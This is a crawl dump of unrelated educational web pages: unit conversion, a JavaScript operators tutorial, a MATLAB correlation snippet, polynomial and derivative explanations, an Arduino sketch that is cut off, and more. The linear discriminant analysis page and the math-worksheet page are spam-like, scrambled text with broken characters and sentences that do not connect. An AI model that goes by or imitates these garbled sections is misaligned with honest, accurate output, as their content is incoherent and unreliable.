"Table 1. Material Properties\nRead the exponential notation like this: 29 * 106 means 29,000,000. Look at the exponent on the 10 and add that number of zeros to the number. Also, ksi is the same as 1,000 psi or 103 psi, so don’t get ksi mixed up with psi.\n\nTable 1 also shows the maximum strength values that go along with these equations. For the rest of the material properties, you’ll have to look up MMPDS or a similar resource.\n\nThis site uses Akismet to reduce spam. Learn how your comment data is processed."
]
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"https://s28490.pcdn.co/wp-content/uploads/2019/05/stressing-structure_01.jpg",
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"https://s28490.pcdn.co/wp-content/uploads/2019/05/stressing-structure_02.jpg",
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"https://s28490.pcdn.co/wp-content/uploads/2019/05/stressing-structure_06.jpg",
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https://convertoctopus.com/656-ounces-to-pounds | [
"## Conversion formula\n\nThe conversion factor from ounces to pounds is 0.0625, which means that 1 ounce is equal to 0.0625 pounds:\n\n1 oz = 0.0625 lb\n\nTo convert 656 ounces into pounds we have to multiply 656 by the conversion factor in order to get the mass amount from ounces to pounds. We can also form a simple proportion to calculate the result:\n\n1 oz → 0.0625 lb\n\n656 oz → M(lb)\n\nSolve the above proportion to obtain the mass M in pounds:\n\nM(lb) = 656 oz × 0.0625 lb\n\nM(lb) = 41 lb\n\nThe final result is:\n\n656 oz → 41 lb\n\nWe conclude that 656 ounces is equivalent to 41 pounds:\n\n656 ounces = 41 pounds\n\n## Alternative conversion\n\nWe can also convert by utilizing the inverse value of the conversion factor. In this case 1 pound is equal to 0.024390243902439 × 656 ounces.\n\nAnother way is saying that 656 ounces is equal to 1 ÷ 0.024390243902439 pounds.\n\n## Approximate result\n\nFor practical purposes we can round our final result to an approximate numerical value. We can say that six hundred fifty-six ounces is approximately forty-one pounds:\n\n656 oz ≅ 41 lb\n\nAn alternative is also that one pound is approximately zero point zero two four times six hundred fifty-six ounces.\n\n## Conversion table\n\n### ounces to pounds chart\n\nFor quick reference purposes, below is the conversion table you can use to convert from ounces to pounds\n\nounces (oz) pounds (lb)\n657 ounces 41.063 pounds\n658 ounces 41.125 pounds\n659 ounces 41.188 pounds\n660 ounces 41.25 pounds\n661 ounces 41.313 pounds\n662 ounces 41.375 pounds\n663 ounces 41.438 pounds\n664 ounces 41.5 pounds\n665 ounces 41.563 pounds\n666 ounces 41.625 pounds"
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http://drewxcaldwell.com/8w101kqg/linear-discriminant-analysis-formula-085406 | [
"# linear discriminant analysis formula\n\nJanuary 7, 2021\n\nLinear and Quadratic Discriminant Analysis: Tutorial 4 which is in the quadratic form x>Ax+ b>x+ c= 0. We assume that in population Ïi the probability density function of x is multivariate normal with mean vector μi and variance-covariance matrix Σ(same for all populations). Dimensionality reduction techniques have become critical in machine learning since many high-dimensional datasets exist these days. Maximum-likelihoodand Bayesian parameter estimation techniques assume that the forms for theunderlying probabilitydensities were known, and that we will use thetraining samples to estimate the values of their parameters. It is used for modeling differences in groups i.e. groups, the Bayes' rule is minimize the total error of classification by assigning the object to group The response variable is categorical. Linear Discriminant Analysis in Python (Step-by-Step), Your email address will not be published. As we demonstrated above, i* is the i with the maximum linear score. Since we cannot get Index The most widely used assumption is that our data come from Multivariate Normal distribution which formula is given as. The accuracy has ⦠This tutorial provides a step-by-step example of how to perform linear discriminant analysis in R. Step 1: Load Necessary Libraries. Since this is rarely the case in practice, it’s a good idea to scale each variable in the dataset such that it has a mean of 0 and a standard deviation of 1. Thus, Linear Discriminant Analysis has assumption of Multivariate Normal distribution and all groups have the same covariance matrix. LDA also performs better when sample sizes are small compared to logistic regression, which makes it a preferred method to use when you’re unable to gather large samples. Linear discriminant analysis is used as a tool for classification, dimension reduction, and data visualization. A discriminant ⦠to group Linear discriminant analysis is supervised machine learning, the technique used to find a linear combination of features that separates two or more classes of objects or events. (i.e. We know that we classify the example to the population for ⦠When we have a set of predictor variables and we’d like to classify a response variable into one of two classes, we typically use logistic regression. Linear Discriminant Analysis (LDA) is most commonly used as dimensionality reduction technique in the pre-processing step for pattern-classification and machine learning applications.The goal is to project a dataset onto a lower-dimensional space with good class-separability in order avoid overfitting (âcurse of dimensionalityâ) and ⦠from sklearn.datasets import load_wine import pandas as pd import numpy as np np.set_printoptions(precision=4) from matplotlib import pyplot as plt import ⦠Next The predictor variables follow a normal distribution. For Linear discriminant analysis (LDA): $$\\Sigma_k=\\Sigma$$, âk. are equal for both sides, we can cancel out, Multiply both sides with -2, we need to change the sign of inequality, Assign object with measurement Linear Discriminant Analysis or Normal Discriminant Analysis or Discriminant Function Analysis is a dimensionality reduction technique which is commonly used for the supervised classification problems. which has the highest conditional probability where Bernoulli vs Binomial Distribution: What’s the Difference. These functions are called discriminant functions. If we input the new chip rings that have curvature 2.81 and diameter 5.46, reveal that it does not pass the quality control. We now repeat Example 1 of Linear Discriminant Analysis using this tool.. To perform the analysis, press Ctrl-m and select the Multivariate Analyses option ⦠. Linear Discriminant Analysis (LDA) is a very common technique for dimensionality reduction problems as a pre-processing step for machine learning and pattern classification applications. Account for extreme outliers. It is more practical to assume that the data come from some theoretical distribution. (i.e. Code. In this chapter,we shall instead assume we know the proper forms for the discriminant functions, and use the samples to estimate the values of parameters of theclassifier. Linear discriminant analysis (LDA) is a simple classification method, mathematically robust, and often produces robust models, whose accuracy is as good as more complex methods. Letâs get started. Some examples include: 1. Well, these are some of the questions that we think might be the most common one for the researchers, and it is really important for them to find out the answers to these important questi⦠3. Linear discriminant analysis Linear discriminant function There are many diï¬erent ways to represent a two class pattern classiï¬er. Representation of LDA Models. Linear discriminant analysis is a method you can use when you have a set of predictor variables and youâd like to classify a response variable into two or more classes.. Researchers may build LDA models to predict whether or not a given coral reef will have an overall health of good, moderate, bad, or endangered based on a variety of predictor variables like size, yearly contamination, and age. Preferable reference for this tutorial is, Teknomo, Kardi (2015) Discriminant Analysis Tutorial. 3. Linear Discriminant Analysis takes a data set of cases (also known as observations) as input. This continues with subsequent functions with the requirement that the new function not be correlated with any of the previous functions. In addition, the results of this analysis can be used to predict website preference using consumer age and income for other data points. To get an idea of what LDA is seeking to achieve, let's briefly review linear regression. Linear Discriminant Analysis easily handles the case where the within-class frequencies are unequal and their performances has been examined on randomly generated test data. Required fields are marked *. Linear Discriminant Analysis(LDA) is a supervised learning algorithm used as a classifier and a dimensionality reduction algorithm. Some of the d⦠< In this case, our decision rule is based on the Linear Score Function, a function of the population means for each of our g populations, $$\\boldsymbol{\\mu}_{i}$$, as well as the pooled variance-covariance matrix. Linear discriminant analysis is an extremely popular dimensionality reduction technique. Thus, we have, We multiply both sides of inequality with Medical. By making this assumption, the classifier becomes linear. Previous 4. Now we go ahead and talk about the LDA (Linear Discriminant Analysis). For Linear discriminant analysis (LDA): $$\\Sigma_k=\\Sigma$$, $$\\forall k$$. . This is almost never the case in real-world data, so we typically scale each variable to have the same mean and variance before actually fitting a LDA model. Finally, regularized discriminant analysis (RDA) is a compromise between LDA and QDA. Linear Discriminant Analysis in Python (Step-by-Step). â¢This will, of course, depend on the classifier. The formula for this normal probability density function is: According to the Naive Bayes classification algorithm. 1 Linear discriminant functions and decision surfaces â¢Deï¬nition It is a function that is a linear combination of the components of x g(x) = wtx + w 0 (1) where w is the weight vector and w 0 the bias â¢A two-category classiï¬er with a discriminant function of the form (1) uses the following rule: and Each predictor variable has the same variance. This method maximizes the ratio of between-class variance to the within-class variance in any particular data set thereby ⦠if, Since factor of , then we can simplify further into, We can write The first function created maximizes the differences between groups on that function. Linear Fisher Discriminant Analysis. To start, import the following libraries. Be sure to check for extreme outliers in the dataset before applying LDA. Where, Hospitals and medical research teams often use LDA to predict whether or not a given group of abnormal cells is likely to lead to a mild, moderate, or severe illness. As mentioned earlier, LDA assumes that each predictor variable has the same covariance matrix is identical LDA to! > Ax+ b > x+ c= 0 the ratio of between-class variance the! For non-linear separation of data variable can be placed into classes or categories discriminant Analysis was developed early... This continues with subsequent functions with the maximum linear score is given as the. Groups i.e classification rules to assign the object into separate group each of these points is. Maximum linear score applying a LDA model to linear discriminant analysis formula: 1 as early as 1936 Ronald. Of how to perform linear discriminant Analysis ( RDA ) is an tool... The case where the within-class variance in any particular data set of cases ( known! Analysis has assumption of Multivariate normal distribution which formula is given as the quadratic form x > b! ( FDA ) from both a qualitative and quantitative point of view given:. * is the probability of the class ) directly from the measurement, what the. Analysis is not the case, you may choose to first transform data! Their performances has been examined on randomly generated test data used to predict preference... Qualitative and quantitative point of view these points and is the go-to linear method for classification! Consider Gaussian distributions for the two classes, the decision boundary of classiï¬cation is quadratic achieve let. A qualitative and quantitative point of view function, but ( sometimes ) not well understood a wide variety fields. Depend on the classifier is linear discriminant analysis formula the case where the within-class variance in particular... To assign the object into separate group data points designed to be for. What is the i with the maximum linear score from some theoretical distribution into of... Is in terms of a discriminant function g ( x ) = d i 0 and d i 0 d. Concepts and look at LDAâs theoretical concepts and look at its implementation from scratch Python! ( QDA ) is a site that makes learning statistics easy s the Difference perform linear discriminant )... See how we could go about implementing linear discriminant Analysis is used for modeling differences in groups i.e the! What ’ s the Difference following lines, we can arrive at the same time, it more... We demonstrated above, i * is the go-to linear method for multi-class classification.! Function g ( x ) = d ij addition, the decision boundary discrimi-... Simply using boxplots or scatterplots requirement that the data to make the distribution more normal differences groups! Retail companies often use LDA to classify shoppers into one of several categories thâ¦!, we can obtain ( i.e sides because they do not affect the grouping.. Of this Analysis can be used for modeling differences in groups i.e we. Lda and QDA this example, the classifier becomes linear not be with. Many high-dimensional datasets exist these days which are numeric ) to classify shoppers into one of categories. The probability of the previous functions scratch using NumPy well understood sure your data meets following! Have become critical in machine learning since many high-dimensional datasets exist these days website preference using consumer age and for... Income for other data points generated test data transforming all data into discriminant function we we now define the and... Boundary which discrimi- linear discriminant Analysis has assumption of Multivariate normal distribution and all groups have the same time it... For classification problems cases ( also known as observations ) as input been examined on randomly generated test data (... I 0 ( x ) = d ij ( x ) to check for extreme outliers in the following before. Lda assumes that each predictor variable is called \\ '' class\\ '' and th⦠Code linear discriminant Analysis LDA. Input the new chip rings that have curvature 2.81 and diameter 5.46, reveal it! Briefly review linear regression not well understood reveal that it does not pass the quality control reduction, data... Of classiï¬cation is quadratic box, but also must not be correlated any. Binomial distribution: what ’ s the Difference LDA, as we,... Is: According to the within-class variance in any particular data set of cases ( also as! Idea of what LDA is seeking to achieve, let 's briefly review linear.. Is a variant of LDA that allows for non-linear separation of data learning statistics easy and visualization! For non-linear separation of data is usually used as a black box, but ( sometimes ) not well.... The ratio of between-class variance to the within-class frequencies are unequal and their performances has been examined on generated... To define the linear discriminant Analysis is not just a dimension reduction,. From the measurement and we can cancel out the first function created maximizes ratio. ( i.e sure to check for extreme outliers in the following assumptions about a given dataset: ( ). Is seeking to achieve, let 's briefly review linear regression more practical assume! K that the data to make the distribution more normal ) each predictor variable is normally!, of course, depend on the classifier becomes linear of Multivariate normal and! And linear discriminant Analysis was developed as early as 1936 by Ronald A. Fisher that... Has the same time, it is used for classification, dimension reduction tool, but ( sometimes ) well... Tool for classification problems a qualitative and quantitative point of view it: 1 classes categories... Present the Fisher discriminant Analysis ( LDA ): \\ ( \\forall k\\ ) in! In both classification and dimensionality reduction techniques have become critical in machine learning since many high-dimensional datasets exist these.! Of between-class variance to the Naive Bayes classification algorithm the classifier becomes linear a model! Linear method for multi-class classification problems, i.e for linear discriminant Analysis ( RDA ) is a good idea try. > Ax+ b > x+ c= 0 are normally distributed make the distribution more normal 4 which is the. Becomes linear for this normal probability density function is our classification rules to assign the object separate... Outliers visually by simply using boxplots or scatterplots the object into separate group, you to. Important tool in both classification and dimensionality linear discriminant analysis formula techniques have become critical in machine since!, which explains its robustness of a discriminant function is our classification rules to assign the into! On the classifier becomes linear qualitative and quantitative point of view using or! By simply using boxplots or scatterplots the accuracy has ⦠linear discriminant takes. This example, the categorical variable to define the linear discriminant Analysis handles. Class\\ '' and th⦠Code the object into separate group reduction techniques have become critical machine! Given as income for other data points cancel out the first function created maximizes the differences between groups that... Assumption of Multivariate normal distribution and all groups have the same variance Analysis was developed as early as by! Probability density function is our classification rules to assign the object into separate group with binary-classification problems,.! Classification algorithm probability of the class and several predictor variables ( which are numeric ) this. Variant of LDA that allows for non-linear separation of data Analysis: tutorial which. Of this Analysis can be used for classification, dimension reduction tool, but also not! Probability density function is: According to the within-class variance in any particular data set thereby Abstract! Which are numeric ) pass the quality control not the case, you assume. Or categories we input the new function not be correlated with any of the d⦠the discriminant function we now... ) = d ij ( x ) = d ij formula is given as measurement, what the! Chip rings that have curvature 2.81 and diameter 5.46, reveal that it does not the! Discriminant Analysis ( RDA ) is an important tool in both classification dimensionality. The results of this Analysis can be placed into classes or categories outliers! Is given as wide variety of fields in real life idea of what LDA is seeking achieve. When the response variable can be used for modeling differences in groups i.e choose to first transform the data make! Way is in terms of a discriminant function g ( x ) = i. Modeling differences in groups i.e decision boundary which discrimi- linear discriminant Analysis tutorial what is... The Fisher discriminant Analysis ( QDA ) is an important tool in both and... Even with binary-classification problems, i.e used for modeling differences in groups i.e is..., reveal that it does not pass the quality control the discriminant function g ( )... '' and th⦠Code groups i.e what LDA is seeking to achieve let... The requirement that the covariance matrix is identical, Kardi ( 2015 ) discriminant Analysis in R. Step:... A dimension reduction, and data visualization typically you can check for extreme outliers in the assumptions. To assume that the new function not be correlated with any of the previous functions non-linear separation of data techniques. A categorical variable to define the class ) directly from the measurement we. Directly from the measurement, what is the go-to linear method for multi-class classification problems \\Sigma_k=\\Sigma\\,... Variant of LDA that allows for non-linear separation of data our classification rules to assign the object into group. About the LDA ( linear discriminant Analysis from scratch using NumPy probability density function is our classification rules assign! Address each of these points and is the probability of the d⦠the discriminant is... The i with the previous functions also a robust classification method out the first function created maximizes the between.",
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.88762546,"math_prob":0.9536981,"size":18227,"snap":"2021-21-2021-25","text_gpt3_token_len":3608,"char_repetition_ratio":0.16929156,"word_repetition_ratio":0.1764706,"special_character_ratio":0.19525978,"punctuation_ratio":0.116671786,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99560386,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-05-17T01:29:28Z\",\"WARC-Record-ID\":\"<urn:uuid:fa63283e-c114-49ee-a601-c90e0a7fe83a>\",\"Content-Length\":\"92683\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:943717ed-91de-4136-8b9d-247cc2a9af1c>\",\"WARC-Concurrent-To\":\"<urn:uuid:10a69ca8-d22d-427d-a6bf-ffa0449ffcec>\",\"WARC-IP-Address\":\"198.71.233.13\",\"WARC-Target-URI\":\"http://drewxcaldwell.com/8w101kqg/linear-discriminant-analysis-formula-085406\",\"WARC-Payload-Digest\":\"sha1:DOTM64Q4BTJ5ZHBJ3TZMK42IK7HFXDCC\",\"WARC-Block-Digest\":\"sha1:JMO33LOIG4ZDGI252GGEKWCPBGHJOWQE\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-21/CC-MAIN-2021-21_segments_1620243991921.61_warc_CC-MAIN-20210516232554-20210517022554-00465.warc.gz\"}"} |
http://devopscr.co/math-facts-worksheets-3rd-grade/ | [
"# Math Facts Worksheets 3rd Grade\n\nprintable division worksheets grade basic fact math tables to practice worksheet multiplication and families 5 for works.\n\nfree math worksheets grade printable for addition facts multiplication practice worksheet fact maze lesson graders fractions families 3rd.\n\nmultiplication math facts worksheets grade medium to large size of practice aids worksheet and division d.\n\nmath worksheets grade multiplication 2 3 4 5 times tables facts 3rd.\n\nmedium to large size of math facts worksheets grade worksheet third practice sheets fact families 3rd.\n\nmath facts worksheets printable free multiplication 3rd grade.\n\ngrade worksheets spiral multiplication math fact worksheet facts division old fractions pin families free f.\n\nworksheets grade as well math multiplication skills tutor facts 3rd multipl.\n\ndivision facts worksheets grade mixed math 3rd.\n\naddition facts worksheet super best math worksheets for extra practice images on of multipl.\n\nit this kindergarten addition math facts worksheet is part of a fluency worksheets grade free single digit subtraction fact multiplication family 3rd m.\n\nmultiplication fact family worksheets grade for all download and share free on math facts medium size m.\n\nmultiplication coloring math worksheets meet the facts book level 1 additional photo inside page fun sheets for grade 3rd multip.\n\nmath fact worksheet maker multiplication family worksheets grade facts 3rd.\n\nmath facts worksheets grade printable for image below of fact families 3rd images.\n\ngrade math facts worksheets for third fact families 3rd multiplication worksheet fresh mat.\n\nblog math fact families multiplication division family it addition facts worksheets grade.\n\nsimilar images for math facts worksheets grade 8 multiplication fact family 3rd library.\n\nmath facts practice worksheets grade factors captivating com about least multiple multiplication.\n\nsubtracting fractions worksheets grade kids math addition and subtraction word facts medium to large size of mixed worksheet easy pin adding.\n\nmultiplication fact family worksheets grade facts math worksheet maker families 3rd multipli.\n\nmedium to large size of math fact worksheets grade multiplication family mixed facts practice 3rd grad.\n\nmath facts worksheets printable multiplication mastering worksheet generator multiplica.\n\ndivision facts worksheets basic free grade worksheet printable math fact practice the back to school fair multiplication and wor.\n\nmath 5 4 tests and worksheets edition main photo a fact families 3rd grade.\n\nmath fact worksheet generator worksheets grade other size multiplication drill mi.\n\nmath fluency worksheets grade these basic fact multiplication are similar to the mad minutes or masterin.\n\nspiral multiplication math fact worksheet grade worksheets of third division families 3rd g.\n\nrounding worksheets grade related post marvelous autumn scarecrow math worksheet on super teacher of mixed facts 3rd.\n\nworksheets grade multiplication fact families family addition math free triangle and subtraction adding worksheet tri.\n\nfirst grade math facts printable worksheets multiplication mixed 3rd basic for.\n\ngrade multiplication table printable free worksheets math facts fact families 3rd 3 times and.\n\nmath facts worksheets the single digit addition questions with some regrouping all grade f.\n\nmultiplication facts worksheets grade math timed test kids worksh.\n\nmath fluency facts practice worksheets grade sub worksheet medium of multiplication fact family 3rd fl.\n\nmath facts worksheets grade fresh subtraction fact 7 families 3rd library."
]
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http://www.circleseven.co.uk/2016/02/02/dat-406-arduino-potentiometer-controlled-led/ | [
"# DAT 406 – Arduino: Potentiometer-controlled LED\n\nThis is the result of a practical task with Arduino that uses a potentiometer to vary the flashing speed of an LED. The code listed in this article takes the analogue input from the potentiometer. This value is then used to vary the time between the LED being on and being off.\n\nArduino code:\n\n```int sensorPin = 0;\nint ledPin = 13;\n\nvoid setup() {\npinMode(ledPin, OUTPUT);\nSerial.begin(9600);\n\n}\n\nvoid loop() {"
]
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http://c.biancheng.net/view/9341.html | [
"# JS运算符汇总\n\n## 算术运算符\n\n+ 加法运算符 x + y 表示计算 x 加 y 的和\n- 减法运算符 x - y 表示计算 x 减 y 的差\n* 乘法运算符 x * y 表示计算 x 乘 y 的积\n/ 除法运算符 x / y 表示计算 x 除以 y 的商\n% 取模(取余)运算符 x % y 表示计算 x 除以 y 的余数\n\n```var x = 10,\ny = 4;\nconsole.log(\"x + y =\", x + y); // 输出:x + y = 14\nconsole.log(\"x - y =\", x - y); // 输出:x - y = 6\nconsole.log(\"x * y =\", x * y); // 输出:x * y = 40\nconsole.log(\"x / y =\", x / y); // 输出:x / y = 2.5\nconsole.log(\"x % y =\", x % y); // 输出:x % y = 2```\n\n## 赋值运算符\n\n= 最简单的赋值运算符,将运算符右侧的值赋值给运算符左侧的变量 x = 10 表示将变量 x 赋值为 10\n+= 先进行加法运算,再将结果赋值给运算符左侧的变量 x += y 等同于 x = x + y\n-= 先进行减法运算,再将结果赋值给运算符左侧的变量 x -= y 等同于 x = x - y\n*= 先进行乘法运算,再将结果赋值给运算符左侧的变量 x *= y 等同于 x = x * y\n/= 先进行除法运算,再将结果赋值给运算符左侧的变量 x /= y 等同于 x = x / y\n%= 先进行取模运算,再将结果赋值给运算符左侧的变量 x %= y 等同于 x = x % y\n\n```var x = 10;\nx += 20;\nconsole.log(x); // 输出:30\nvar x = 12,\ny = 7;\nx -= y;\nconsole.log(x); // 输出:5\nx = 5;\nx *= 25;\nconsole.log(x); // 输出:125\nx = 50;\nx /= 10;\nconsole.log(x); // 输出:5\nx = 100;\nx %= 15;\nconsole.log(x); // 输出:10```\n\n## 字符串运算符\n\nJavaScript 中的` + `` += `运算符除了可以进行数学运算外,还可以用来拼接字符串,其中:\n• `+ `运算符表示将运算符左右两侧的字符串拼接到一起;\n• `+= `运算符表示先将字符串进行拼接,然后再将结果赋值给运算符左侧的变量。\n\n```var x = \"Hello \";\nvar y = \"World!\";\nvar z = x + y;\nconsole.log(z); // 输出:Hello World!\nx += y;\nconsole.log(x); // 输出:Hello World!```\n\n## 自增、自减运算符\n\n++x 自增运算符 将 x 加 1,然后返回 x 的值\nx++ 自增运算符 返回 x 的值,然后再将 x 加 1\n--x 自减运算符 将 x 减 1,然后返回 x 的值\nx-- 自减运算符 返回 x 的值,然后将 x 减 1\n\n```var x;\n\nx = 10;\nconsole.log(++x); // 输出:11\nconsole.log(x); // 输出:11\n\nx = 10;\nconsole.log(x++); // 输出:10\nconsole.log(x); // 输出:11\n\nx = 10;\nconsole.log(--x); // 输出:9\nconsole.log(x); // 输出:9\n\nx = 10;\nconsole.log(x--); // 输出:10\nconsole.log(x); // 输出:9```\n\n## 比较运算符\n\n== 等于 x == y 表示如果 x 等于 y,则为真\n=== 全等 x === y 表示如果 x 等于 y,并且 x 和 y 的类型也相同,则为真\n!= 不相等 x != y 表示如果 x 不等于 y,则为真\n!== 不全等 x !== y 表示如果 x 不等于 y,或者 x 和 y 的类型不同,则为真\n< 小于 x < y 表示如果 x 小于 y,则为真\n> 大于 x > y 表示如果 x 大于 y,则为真\n>= 大于或等于 x >= y 表示如果 x 大于或等于 y,则为真\n<= 小于或等于 x <= y 表示如果 x 小于或等于 y,则为真\n\n```var x = 25;\nvar y = 35;\nvar z = \"25\";\n\nconsole.log(x == z); // 输出: true\nconsole.log(x === z); // 输出: false\nconsole.log(x != y); // 输出: true\nconsole.log(x !== z); // 输出: true\nconsole.log(x < y); // 输出: true\nconsole.log(x > y); // 输出: false\nconsole.log(x <= y); // 输出: true\nconsole.log(x >= y); // 输出: false```\n\n## 逻辑运算符\n\n&& 逻辑与 x && y 表示如果 x 和 y 都为真,则为真\n|| 逻辑或 x || y 表示如果 x 或 y 有一个为真,则为真\n! 逻辑非 !x 表示如果 x 不为真,则为真\n\n```var year = 2021;\n\n// 闰年可以被 400 整除,也可以被 4 整除,但不能被 100 整除\nif((year % 400 == 0) || ((year % 100 != 0) && (year % 4 == 0))){\nconsole.log(year + \" 年是闰年。\");\n} else{\nconsole.log(year + \" 年是平年。\");\n}```\n\n## 三元运算符\n\n```var x = 11,\ny = 20;\n\nx > y ? console.log(\"x 大于 y\") : console.log(\"x 小于 y\"); // 输出:x 小于 y```\n\n## 位运算符\n\n& 按位与:如果对应的二进制位都为 1,则该二进制位为 1 5 & 1 等同于 0101 & 0001 结果为 0001,十进制结果为 1\n| 按位或:如果对应的二进制位有一个为 1,则该二进制位为 1 5 | 1 等同于 0101 | 0001 结果为 0101,十进制结果为 5\n^ 按位异或:如果对应的二进制位只有一个为 1,则该二进制位为 1 5 ^ 1 等同于 0101 ^ 0001 结果为 0100,十进制结果为 4\n~ 按位非:反转所有二进制位,即 1 转换为 0,0 转换为 1 ~5 等同于 ~0101 结果为 1010,十进制结果为 -6\n<< 按位左移:将所有二进制位统一向左移动指定的位数,并在最右侧补 0 5 << 1 等同于 0101 << 1 结果为 1010,十进制结果为 10\n>> 按位右移(有符号右移):将所有二进制位统一向右移动指定的位数,并拷贝最左侧的位来填充左侧 5 >> 1 等同于 0101 >> 1 结果为 0010,十进制结果为 2\n>>> 按位右移零(无符号右移):将所有二进制位统一向右移动指定的位数,并在最左侧补 0 5 >>> 1 等同于 0101 >>> 1 结果为 0010,十进制结果为 2\n\n```var a = 5 & 1,\nb = 5 | 1,\nc = 5 ^ 1,\nd = ~ 5,\ne = 5 << 1,\nf = 5 >> 1,\ng = 5 >>> 1;\nconsole.log(a); // 输出:1\nconsole.log(b); // 输出:5\nconsole.log(c); // 输出:4\nconsole.log(d); // 输出:-6\nconsole.log(e); // 输出:10\nconsole.log(f); // 输出:2\nconsole.log(g); // 输出:2```",
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"http://c.biancheng.net/templets/new/images/material/qrcode_weixueyuan_original.png",
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https://github.com/thomasgladwin/nncorr | [
"Nearest-neighbour correlation for non-linear relationships\nMATLAB\n\n## Latest commit",
null,
"Fetching latest commit…\nCannot retrieve the latest commit at this time.\n\n## Files\n\nType Name Latest commit message Commit time\nFailed to load latest commit information.",
null,
"README.md",
null,
"nncorr_sims.m",
null,
"teg_nncorr.m\n\n# nncorr\n\nNonlinear neighbourhood correlation.\n\nThis is a version of a non-linear correlation between variables X and Y that tests the correlation between the Y-scores of pairs of points that are neigbours on the X-axes. This can, e.g., detect U-curves or sinusoidal patterns in scatterplots. The trade-off is that it's less powerful at detecting linear relationships than a standard Peason's correlation.\n\nIn Matlab-code:\n\n``````function [r, p] = teg_nncorr(x, y)\n\n[x, si] = sort(x);\ny = y(si);\ny1_y2 = [];\nfor index1 = 1:2:(length(x) - 1)\nindex2 = index1 + 1;\ny1 = y(index1);\ny2 = y(index2);\ny1_y2 = [y1_y2; y1 y2];\nend\n[r, p] = corr(y1_y2(:, 1), y1_y2(:, 2));\n``````",
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"https://camo.githubusercontent.com/dc1acea46ace40adabc77ed0c3281141a1063ad8/68747470733a2f2f7a656e6f646f2e6f72672f62616467652f3234373135373231382e737667",
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https://socratic.org/questions/how-do-you-write-a-polynomial-in-standard-form-then-classify-it-by-degree-and-nu-58#447650 | [
"# How do you write a polynomial in standard form, then classify it by degree and number of terms 8x^2+9+5x^3?\n\nJul 4, 2017\n\nSee below.\n\n#### Explanation:\n\nI am glad you asked this question, it is a very important math concept.\n\nOkay, so whenever you are asked to find the \"number of terms,\" just count the number of terms given (after of course, combining all like terms). For example, let's say you were given ${x}^{2} + 3 + 4$, you would not say that the number of terms is $3$, you would say it is $2$, since you want to add the $3$ and $4$ first. In this particular problem, we have:\n\n$\\text{Number of terms} = 3$\n\nNow, we will move on to standard form. Whenever you are asked to write a polynomial in standard form, arrange it in order of decreasing power. In other words, ${x}^{n} > {x}^{n - 1} , \\text{... } {x}^{4} > {x}^{3} > {x}^{2} > x > {x}^{0} ,$, so ${x}^{4}$ goes first and ${x}^{0}$ goes last. In this particular problem, $9$ is the ${x}^{0}$ term (so you don't get confused).\n\nIf we arrange it according to the definition I gave you, you get:\n\n$5 {x}^{3} + 8 {x}^{2} + 9$\n\nThis is the polynomial in standard form.\n\nLastly, we need to find degree. This is the easiest, as we just have to look at the polynomial in standard form. The first term of the polynomial in standard form will contain ${x}^{n}$, where $n$ is some unknown number. In other words, whatever power $x$ is raised to in standard form will be the degree of the polynomial.\n\nFor this particular problem, the $\\text{Degree } = 3$, since $x$ is raised to the $3 \\text{rd}$ power for the first term of the polynomial in standard form.\n\nThat is it, I hope that helps!"
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https://www.calculushowto.com/left-hand-derivative-right-hand-derivative/ | [
"",
null,
"# Left Hand Derivative & Right Hand Derivative\n\nShare on\n\nFeel like \"cheating\" at Calculus? Check out our Practically Cheating Calculus Handbook, which gives you hundreds of easy-to-follow answers in a convenient e-book.\n\nSometimes we want to take the derivative at a point from one direction instead of both sides. When we approach a point from the left of the number line, it’s called a left hand derivative. When we approach from the right, it’s a right hand derivative. These definitions are exactly the same concept as one sided limits—limits from the left and limits from the right .\n\nThe definition of a left hand derivative at point a is:",
null,
"If the limit exists.\n\nThe definition of a right hand derivative at point a is:",
null,
"If the limit exists.\n\n## Why use Right and Left Hand Derivative?\n\nThere are a few reasons why you might choose to use a left hand derivative or right hand derivative. The technique can be used to show that a derivative exists at a certain point: If both the left- and right-hand derivatives are equal, then the derivative at a exists.\n\nAdditionally, if you are finding the derivative for the endpoint in an interval, you have no choice but to use either a left- or right-hand derivative, because the function won’t be defined beyond those endpoints. For example, let’s say you wanted to find the derivative of √x. This function isn’t defined for values less than zero, so in order to find the derivative at x = 0, the left-hand endpoint, you need to use a right-hand derivative:",
null,
"The left-hand derivative clearly doesn’t exist (there’s nothing there to use for calculations!) and the right-hand derivative blows up to infinity; Therefore, as the left- and right-hand derivatives are not equal, the derivative at x = 0 does not exist.\n\n## Example\n\nExample question: Is the function f(x) = |x| + 1 differentiable at 0?\n\nSolution: Find the left- and right-hand derivative.\n\nThe left hand derivative is",
null,
"The right hand derivative is",
null,
"These are not equal, so the derivative does not exist.\n\n## References\n\n Reinholz, D. Derivatives. Retrieved August 10, 2021 from: https://www.ocf.berkeley.edu/~reinholz/ed/08sp_m160/lectures/derivatives.pdf\n\nCITE THIS AS:\nStephanie Glen. \"Left Hand Derivative & Right Hand Derivative\" From CalculusHowTo.com: Calculus for the rest of us! https://www.calculushowto.com/left-hand-derivative-right-hand-derivative/\n---------------------------------------------------------------------------",
null,
"",
null,
"Need help with a homework or test question? With Chegg Study, you can get step-by-step solutions to your questions from an expert in the field. Your first 30 minutes with a Chegg tutor is free!"
]
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null,
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null,
"https://www.calculushowto.com/wp-content/uploads/2021/08/right-hand-derivative-2.png",
null,
"https://www.calculushowto.com/wp-content/uploads/2021/08/calculating-the-derivative-at-an-endpoint.png",
null,
"https://www.calculushowto.com/wp-content/uploads/2021/08/LHD.png",
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null,
"https://www.calculushowto.com/wp-content/uploads/2021/12/14422-1200563.webp",
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"https://imp.pxf.io/i/3128523/1200563/14422",
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https://nyuscholars.nyu.edu/en/publications/algorithms-for-distributed-functional-monitoring-2 | [
